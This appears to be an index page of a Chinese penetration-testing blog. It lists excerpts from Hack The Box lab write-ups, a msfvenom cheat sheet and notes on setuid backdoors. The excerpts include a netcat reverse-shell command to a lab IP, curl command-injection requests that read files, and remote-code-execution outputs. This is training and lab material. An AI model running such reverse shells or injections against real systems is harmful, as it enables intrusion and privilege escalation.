snmp&snmpwalk 161端口——snmp协议参考资料： http://www.freebuf.com/vuls/133517.html http://www.cnblogs.com/LittleHann/p/3834860.htmlcategories: tools 161端口——snmp协议参考资料： http://www.freebuf.com/vuls/133517.html http://www 2019-03-11 运维 网络设置 安全工具 协议分析
Irked（suid提权） 1 root ircd 43 Mar 10 03:58 listusers cd /usr/bin/; ./viewuser结果/bin/nc: /bin/nc: cannot execute binary file nc -e /bin/bash 10.10.14.7 2233 成功反弹shell## 提权新建cat文件，内容是shell脚本。当suid程序执行ca 2019-03-09 过程记录 渗透测试 安全工具 密码学攻击
03-08-sql-inject scan123480/tcp open http cloudflare443/tcp open ssl/https cloudflare8080/tcp open http-proxy cloudflare8443/tcp open ssl/https-alt cloudflare 确认为一个web server，有云防护，不允许直接ip访问 pin 2019-03-08 部署过程 过程记录 渗透测试 安全工具 SQL注入
Bastard（drupal插件导致远程代码执行） || whoami | nt authority\iusr|| systeminfo | Microsoft Windows Server 2008 R2 || dir | C:\inetpub\drupal-7.54 || type C:\Users\dimitris\Desktop\user.txt | xxx || powershell $PSVersionTable | 无ps | 获取 2019-03-05 部署过程 渗透测试 安全工具 漏洞利用
读后感·互联网企业安全高级指南 参考资料： 在乙方从事网络安全工作的一些思考 https://www.zhihu.com/question/27356955 http://www.360doc.com/content/16/0314/22/31115656_542242914.shtml 2019-03-04 读书笔记 安全工具 安全开发 企业安全架构
FluxCapacitor（from nobody to root） 12345678910curl "http://10.10.10.69/sync?opt=' sudo -l'"curl "http://10.10.10.69/sync?opt=' c\at /home/themiddle/.monit'"curl "http://10.10.10.69/sync?opt= 2019-03-03 部署过程 渗透测试 安全工具 权限提升
msfvenom-生成攻击载荷-命令速查 参考资料： github-Micro8 https://github.com/rapid7/metasploit-framework/wiki/Metasploit-5.0-Release-Notes https://www.hackers-arise.com/single-post/2017/06/08/Metasploit-Basics-Part-7-Adding-a-New-Module- 2019-03-01 渗透测试 安全工具 免杀 载荷生成
Arctic（ColdFusion任意文件上传） scan12345678Discovered open port 8500/tcp on 10.10.10.11 Discovered open port 135/tcp on 10.10.10.11 Discovered open port 49154/tcp 2019-02-26 部署过程 渗透测试 安全工具 漏洞利用
权限管理二：如何通过setuid设置root后门 上一篇：权限管理上一篇：权限管理categories: - linux上一篇：权限管理 参考资料：https://gist.github.com/dergachev/7916152 、https://pentestlab.blog/tag/find/ 为什么你不能做到，在一个已经被渗透的机器上禁止提权？假设某人临时获得了root权限访问了你的系统，即使你禁止了提权的方式，他们仍然有数不清的方式在 2019-02-24 渗透测试 安全工具 安全开发 权限提升